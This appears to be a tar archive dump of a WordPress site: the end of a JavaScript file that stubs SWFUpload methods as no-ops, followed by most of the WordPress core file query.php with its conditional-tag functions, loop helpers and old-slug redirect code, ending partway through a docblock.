	SWFUpload.prototype.setRequeueOnError = noop;
	SWFUpload.prototype.setHTTPSuccess = noop;
	SWFUpload.prototype.setAssumeSuccessTimeout = noop;
	SWFUpload.prototype.setDebugEnabled = noop;
	SWFUpload.prototype.setButtonImageURL = noop;
	SWFUpload.prototype.setButtonDimensions = noop;
	SWFUpload.prototype.setButtonText = noop;
	SWFUpload.prototype.setButtonTextPadding = noop;
	SWFUpload.prototype.setButtonTextStyle = noop;
	SWFUpload.prototype.setButtonDisabled = noop;
	SWFUpload.prototype.setButtonAction = noop;
	SWFUpload.prototype.setButtonCursor = noop;
	SWFUpload.prototype.queueEvent = noop;
	SWFUpload.prototype.executeNextEvent = noop;
	SWFUpload.prototype.unescapeFilePostParams = noop;
	SWFUpload.prototype.testExternalInterface = noop;
	SWFUpload.prototype.flashReady = noop;
	SWFUpload.prototype.cleanUp = noop;
	SWFUpload.prototype.fileDialogStart = noop;
	SWFUpload.prototype.fileQueued = noop;
	SWFUpload.prototype.fileQueueError = noop;
	SWFUpload.prototype.fileDialogComplete = noop;
	SWFUpload.prototype.uploadStart = noop;
	SWFUpload.prototype.returnUploadStart = noop;
	SWFUpload.prototype.uploadProgress = noop;
	SWFUpload.prototype.uploadError = noop;
	SWFUpload.prototype.uploadSuccess = noop;
	SWFUpload.prototype.uploadComplete = noop;
	SWFUpload.prototype.debug = noop;
	SWFUpload.prototype.debugMessage = noop;
	SWFUpload.Console = {
		writeLine: noop
	};
}() );
14338/query.php.tar000064400000114000151024420100007652 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/query.php000064400000110253151024204220023224 0ustar00<?php
/**
 * WordPress Query API
 *
 * The query API attempts to get which part of WordPress the user is on. It
 * also provides functionality for getting URL query information.
 *
 * @link https://developer.wordpress.org/themes/basics/the-loop/ More information on The Loop.
 *
 * @package WordPress
 * @subpackage Query
 */

/**
 * Retrieves the value of a query variable in the WP_Query class.
 *
 * @since 1.5.0
 * @since 3.9.0 The `$default_value` argument was introduced.
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param string $query_var     The variable key to retrieve.
 * @param mixed  $default_value Optional. Value to return if the query variable is not set.
 *                              Default empty string.
 * @return mixed Contents of the query variable.
 */
function get_query_var( $query_var, $default_value = '' ) {
	global $wp_query;
	return $wp_query->get( $query_var, $default_value );
}

/**
 * Retrieves the currently queried object.
 *
 * Wrapper for WP_Query::get_queried_object().
 *
 * @since 3.1.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return WP_Term|WP_Post_Type|WP_Post|WP_User|null The queried object.
 */
function get_queried_object() {
	global $wp_query;
	return $wp_query->get_queried_object();
}

/**
 * Retrieves the ID of the currently queried object.
 *
 * Wrapper for WP_Query::get_queried_object_id().
 *
 * @since 3.1.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return int ID of the queried object.
 */
function get_queried_object_id() {
	global $wp_query;
	return $wp_query->get_queried_object_id();
}

/**
 * Sets the value of a query variable in the WP_Query class.
 *
 * @since 2.2.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param string $query_var Query variable key.
 * @param mixed  $value     Query variable value.
 */
function set_query_var( $query_var, $value ) {
	global $wp_query;
	$wp_query->set( $query_var, $value );
}

/**
 * Sets up The Loop with query parameters.
 *
 * Note: This function will completely override the main query and isn't intended for use
 * by plugins or themes. Its overly-simplistic approach to modifying the main query can be
 * problematic and should be avoided wherever possible. In most cases, there are better,
 * more performant options for modifying the main query such as via the {@see 'pre_get_posts'}
 * action within WP_Query.
 *
 * This must not be used within the WordPress Loop.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param array|string $query Array or string of WP_Query arguments.
 * @return WP_Post[]|int[] Array of post objects or post IDs.
 */
function query_posts( $query ) {
	$GLOBALS['wp_query'] = new WP_Query();
	return $GLOBALS['wp_query']->query( $query );
}

/**
 * Destroys the previous query and sets up a new query.
 *
 * This should be used after query_posts() and before another query_posts().
 * This will remove obscure bugs that occur when the previous WP_Query object
 * is not destroyed properly before another is set up.
 *
 * @since 2.3.0
 *
 * @global WP_Query $wp_query     WordPress Query object.
 * @global WP_Query $wp_the_query Copy of the global WP_Query instance created during wp_reset_query().
 */
function wp_reset_query() {
	$GLOBALS['wp_query'] = $GLOBALS['wp_the_query'];
	wp_reset_postdata();
}

/**
 * After looping through a separate query, this function restores
 * the $post global to the current post in the main query.
 *
 * @since 3.0.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 */
function wp_reset_postdata() {
	global $wp_query;

	if ( isset( $wp_query ) ) {
		$wp_query->reset_postdata();
	}
}

/*
 * Query type checks.
 */

/**
 * Determines whether the query is for an existing archive page.
 *
 * Archive pages include category, tag, author, date, custom post type,
 * and custom taxonomy based archives.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @see is_category()
 * @see is_tag()
 * @see is_author()
 * @see is_date()
 * @see is_post_type_archive()
 * @see is_tax()
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for an existing archive page.
 */
function is_archive() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_archive();
}

/**
 * Determines whether the query is for an existing post type archive page.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 3.1.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param string|string[] $post_types Optional. Post type or array of posts types
 *                                    to check against. Default empty.
 * @return bool Whether the query is for an existing post type archive page.
 */
function is_post_type_archive( $post_types = '' ) {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_post_type_archive( $post_types );
}

/**
 * Determines whether the query is for an existing attachment page.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.0.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param int|string|int[]|string[] $attachment Optional. Attachment ID, title, slug, or array of such
 *                                              to check against. Default empty.
 * @return bool Whether the query is for an existing attachment page.
 */
function is_attachment( $attachment = '' ) {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_attachment( $attachment );
}

/**
 * Determines whether the query is for an existing author archive page.
 *
 * If the $author parameter is specified, this function will additionally
 * check if the query is for one of the authors specified.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param int|string|int[]|string[] $author Optional. User ID, nickname, nicename, or array of such
 *                                          to check against. Default empty.
 * @return bool Whether the query is for an existing author archive page.
 */
function is_author( $author = '' ) {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_author( $author );
}

/**
 * Determines whether the query is for an existing category archive page.
 *
 * If the $category parameter is specified, this function will additionally
 * check if the query is for one of the categories specified.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param int|string|int[]|string[] $category Optional. Category ID, name, slug, or array of such
 *                                            to check against. Default empty.
 * @return bool Whether the query is for an existing category archive page.
 */
function is_category( $category = '' ) {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_category( $category );
}

/**
 * Determines whether the query is for an existing tag archive page.
 *
 * If the $tag parameter is specified, this function will additionally
 * check if the query is for one of the tags specified.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.3.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param int|string|int[]|string[] $tag Optional. Tag ID, name, slug, or array of such
 *                                       to check against. Default empty.
 * @return bool Whether the query is for an existing tag archive page.
 */
function is_tag( $tag = '' ) {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_tag( $tag );
}

/**
 * Determines whether the query is for an existing custom taxonomy archive page.
 *
 * If the $taxonomy parameter is specified, this function will additionally
 * check if the query is for that specific $taxonomy.
 *
 * If the $term parameter is specified in addition to the $taxonomy parameter,
 * this function will additionally check if the query is for one of the terms
 * specified.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param string|string[]           $taxonomy Optional. Taxonomy slug or slugs to check against.
 *                                            Default empty.
 * @param int|string|int[]|string[] $term     Optional. Term ID, name, slug, or array of such
 *                                            to check against. Default empty.
 * @return bool Whether the query is for an existing custom taxonomy archive page.
 *              True for custom taxonomy archive pages, false for built-in taxonomies
 *              (category and tag archives).
 */
function is_tax( $taxonomy = '', $term = '' ) {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_tax( $taxonomy, $term );
}

/**
 * Determines whether the query is for an existing date archive.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for an existing date archive.
 */
function is_date() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_date();
}

/**
 * Determines whether the query is for an existing day archive.
 *
 * A conditional check to test whether the page is a date-based archive page displaying posts for the current day.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for an existing day archive.
 */
function is_day() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_day();
}

/**
 * Determines whether the query is for a feed.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param string|string[] $feeds Optional. Feed type or array of feed types
 *                                         to check against. Default empty.
 * @return bool Whether the query is for a feed.
 */
function is_feed( $feeds = '' ) {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_feed( $feeds );
}

/**
 * Is the query for a comments feed?
 *
 * @since 3.0.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for a comments feed.
 */
function is_comment_feed() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_comment_feed();
}

/**
 * Determines whether the query is for the front page of the site.
 *
 * This is for what is displayed at your site's main URL.
 *
 * Depends on the site's "Front page displays" Reading Settings 'show_on_front' and 'page_on_front'.
 *
 * If you set a static page for the front page of your site, this function will return
 * true when viewing that page.
 *
 * Otherwise the same as {@see is_home()}.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for the front page of the site.
 */
function is_front_page() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_front_page();
}

/**
 * Determines whether the query is for the blog homepage.
 *
 * The blog homepage is the page that shows the time-based blog content of the site.
 *
 * is_home() is dependent on the site's "Front page displays" Reading Settings 'show_on_front'
 * and 'page_for_posts'.
 *
 * If a static page is set for the front page of the site, this function will return true only
 * on the page you set as the "Posts page".
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @see is_front_page()
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for the blog homepage.
 */
function is_home() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_home();
}

/**
 * Determines whether the query is for the Privacy Policy page.
 *
 * The Privacy Policy page is the page that shows the Privacy Policy content of the site.
 *
 * is_privacy_policy() is dependent on the site's "Change your Privacy Policy page" Privacy Settings 'wp_page_for_privacy_policy'.
 *
 * This function will return true only on the page you set as the "Privacy Policy page".
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 5.2.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for the Privacy Policy page.
 */
function is_privacy_policy() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_privacy_policy();
}

/**
 * Determines whether the query is for an existing month archive.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for an existing month archive.
 */
function is_month() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_month();
}

/**
 * Determines whether the query is for an existing single page.
 *
 * If the $page parameter is specified, this function will additionally
 * check if the query is for one of the pages specified.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @see is_single()
 * @see is_singular()
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param int|string|int[]|string[] $page Optional. Page ID, title, slug, or array of such
 *                                        to check against. Default empty.
 * @return bool Whether the query is for an existing single page.
 */
function is_page( $page = '' ) {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_page( $page );
}

/**
 * Determines whether the query is for a paged result and not for the first page.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for a paged result.
 */
function is_paged() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_paged();
}

/**
 * Determines whether the query is for a post or page preview.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.0.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for a post or page preview.
 */
function is_preview() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_preview();
}

/**
 * Is the query for the robots.txt file?
 *
 * @since 2.1.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for the robots.txt file.
 */
function is_robots() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_robots();
}

/**
 * Is the query for the favicon.ico file?
 *
 * @since 5.4.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for the favicon.ico file.
 */
function is_favicon() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_favicon();
}

/**
 * Determines whether the query is for a search.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for a search.
 */
function is_search() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_search();
}

/**
 * Determines whether the query is for an existing single post.
 *
 * Works for any post type, except attachments and pages
 *
 * If the $post parameter is specified, this function will additionally
 * check if the query is for one of the Posts specified.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @see is_page()
 * @see is_singular()
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param int|string|int[]|string[] $post Optional. Post ID, title, slug, or array of such
 *                                        to check against. Default empty.
 * @return bool Whether the query is for an existing single post.
 */
function is_single( $post = '' ) {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_single( $post );
}

/**
 * Determines whether the query is for an existing single post of any post type
 * (post, attachment, page, custom post types).
 *
 * If the $post_types parameter is specified, this function will additionally
 * check if the query is for one of the Posts Types specified.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @see is_page()
 * @see is_single()
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param string|string[] $post_types Optional. Post type or array of post types
 *                                    to check against. Default empty.
 * @return bool Whether the query is for an existing single post
 *              or any of the given post types.
 */
function is_singular( $post_types = '' ) {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_singular( $post_types );
}

/**
 * Determines whether the query is for a specific time.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for a specific time.
 */
function is_time() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_time();
}

/**
 * Determines whether the query is for a trackback endpoint call.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for a trackback endpoint call.
 */
function is_trackback() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_trackback();
}

/**
 * Determines whether the query is for an existing year archive.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for an existing year archive.
 */
function is_year() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_year();
}

/**
 * Determines whether the query has resulted in a 404 (returns no results).
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is a 404 error.
 */
function is_404() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_404();
}

/**
 * Is the query for an embedded post?
 *
 * @since 4.4.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for an embedded post.
 */
function is_embed() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_embed();
}

/**
 * Determines whether the query is the main query.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 3.3.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is the main query.
 */
function is_main_query() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '6.1.0' );
		return false;
	}

	if ( 'pre_get_posts' === current_filter() ) {
		_doing_it_wrong(
			__FUNCTION__,
			sprintf(
				/* translators: 1: pre_get_posts, 2: WP_Query->is_main_query(), 3: is_main_query(), 4: Documentation URL. */
				__( 'In %1$s, use the %2$s method, not the %3$s function. See %4$s.' ),
				'<code>pre_get_posts</code>',
				'<code>WP_Query->is_main_query()</code>',
				'<code>is_main_query()</code>',
				__( 'https://developer.wordpress.org/reference/functions/is_main_query/' )
			),
			'3.7.0'
		);
	}

	return $wp_query->is_main_query();
}

/*
 * The Loop. Post loop control.
 */

/**
 * Determines whether current WordPress query has posts to loop over.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool True if posts are available, false if end of the loop.
 */
function have_posts() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		return false;
	}

	return $wp_query->have_posts();
}

/**
 * Determines whether the caller is in the Loop.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.0.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool True if caller is within loop, false if loop hasn't started or ended.
 */
function in_the_loop() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		return false;
	}

	return $wp_query->in_the_loop;
}

/**
 * Rewind the loop posts.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 */
function rewind_posts() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		return;
	}

	$wp_query->rewind_posts();
}

/**
 * Iterate the post index in the loop.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 */
function the_post() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		return;
	}

	$wp_query->the_post();
}

/*
 * Comments loop.
 */

/**
 * Determines whether current WordPress query has comments to loop over.
 *
 * @since 2.2.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool True if comments are available, false if no more comments.
 */
function have_comments() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		return false;
	}

	return $wp_query->have_comments();
}

/**
 * Iterate comment index in the comment loop.
 *
 * @since 2.2.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 */
function the_comment() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		return;
	}

	$wp_query->the_comment();
}

/**
 * Redirect old slugs to the correct permalink.
 *
 * Attempts to find the current slug from the past slugs.
 *
 * @since 2.1.0
 */
function wp_old_slug_redirect() {
	if ( is_404() && '' !== get_query_var( 'name' ) ) {
		// Guess the current post type based on the query vars.
		if ( get_query_var( 'post_type' ) ) {
			$post_type = get_query_var( 'post_type' );
		} elseif ( get_query_var( 'attachment' ) ) {
			$post_type = 'attachment';
		} elseif ( get_query_var( 'pagename' ) ) {
			$post_type = 'page';
		} else {
			$post_type = 'post';
		}

		if ( is_array( $post_type ) ) {
			if ( count( $post_type ) > 1 ) {
				return;
			}
			$post_type = reset( $post_type );
		}

		// Do not attempt redirect for hierarchical post types.
		if ( is_post_type_hierarchical( $post_type ) ) {
			return;
		}

		$id = _find_post_by_old_slug( $post_type );

		if ( ! $id ) {
			$id = _find_post_by_old_date( $post_type );
		}

		/**
		 * Filters the old slug redirect post ID.
		 *
		 * @since 4.9.3
		 *
		 * @param int $id The redirect post ID.
		 */
		$id = apply_filters( 'old_slug_redirect_post_id', $id );

		if ( ! $id ) {
			return;
		}

		$link = get_permalink( $id );

		if ( get_query_var( 'paged' ) > 1 ) {
			$link = user_trailingslashit( trailingslashit( $link ) . 'page/' . get_query_var( 'paged' ) );
		} elseif ( is_embed() ) {
			$link = user_trailingslashit( trailingslashit( $link ) . 'embed' );
		}

		/**
		 * Filters the old slug redirect URL.
		 *
		 * @since 4.4.0
		 *
		 * @param string $link The redirect URL.
		 */
		$link = apply_filters( 'old_slug_redirect_url', $link );

		if ( ! $link ) {
			return;
		}

		wp_redirect( $link, 301 ); // Permanent redirect.
		exit;
	}
}

/**
 * Find the post ID for redirecting an old slug.
 *
 * @since 4.9.3
 * @access private
 *
 * @see wp_old_slug_redirect()
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $post_type The current post type based on the query vars.
 * @return int The Post ID.
 */
function _find_post_by_old_slug( $post_type ) {
	global $wpdb;

	$query = $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta, $wpdb->posts WHERE ID = post_id AND post_type = %s AND meta_key = '_wp_old_slug' AND meta_value = %s", $post_type, get_query_var( 'name' ) );

	/*
	 * If year, monthnum, or day have been specified, make our query more precise
	 * just in case there are multiple identical _wp_old_slug values.
	 */
	if ( get_query_var( 'year' ) ) {
		$query .= $wpdb->prepare( ' AND YEAR(post_date) = %d', get_query_var( 'year' ) );
	}
	if ( get_query_var( 'monthnum' ) ) {
		$query .= $wpdb->prepare( ' AND MONTH(post_date) = %d', get_query_var( 'monthnum' ) );
	}
	if ( get_query_var( 'day' ) ) {
		$query .= $wpdb->prepare( ' AND DAYOFMONTH(post_date) = %d', get_query_var( 'day' ) );
	}

	$key          = md5( $query );
	$last_changed = wp_cache_get_last_changed( 'posts' );
	$cache_key    = "find_post_by_old_slug:$key:$last_changed";
	$cache        = wp_cache_get( $cache_key, 'post-queries' );
	if ( false !== $cache ) {
		$id = $cache;
	} else {
		$id = (int) $wpdb->get_var( $query );
		wp_cache_set( $cache_key, $id, 'post-queries' );
	}

	return $id;
}

/**
 * Find the post ID for redirecting an old date.
 *
 * @since 4.9.3
 * @access private
 *
 * @see wp_old_slug_redirect()
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $post_type The current post type based on the query vars.
 * @return int The Post ID.
 */
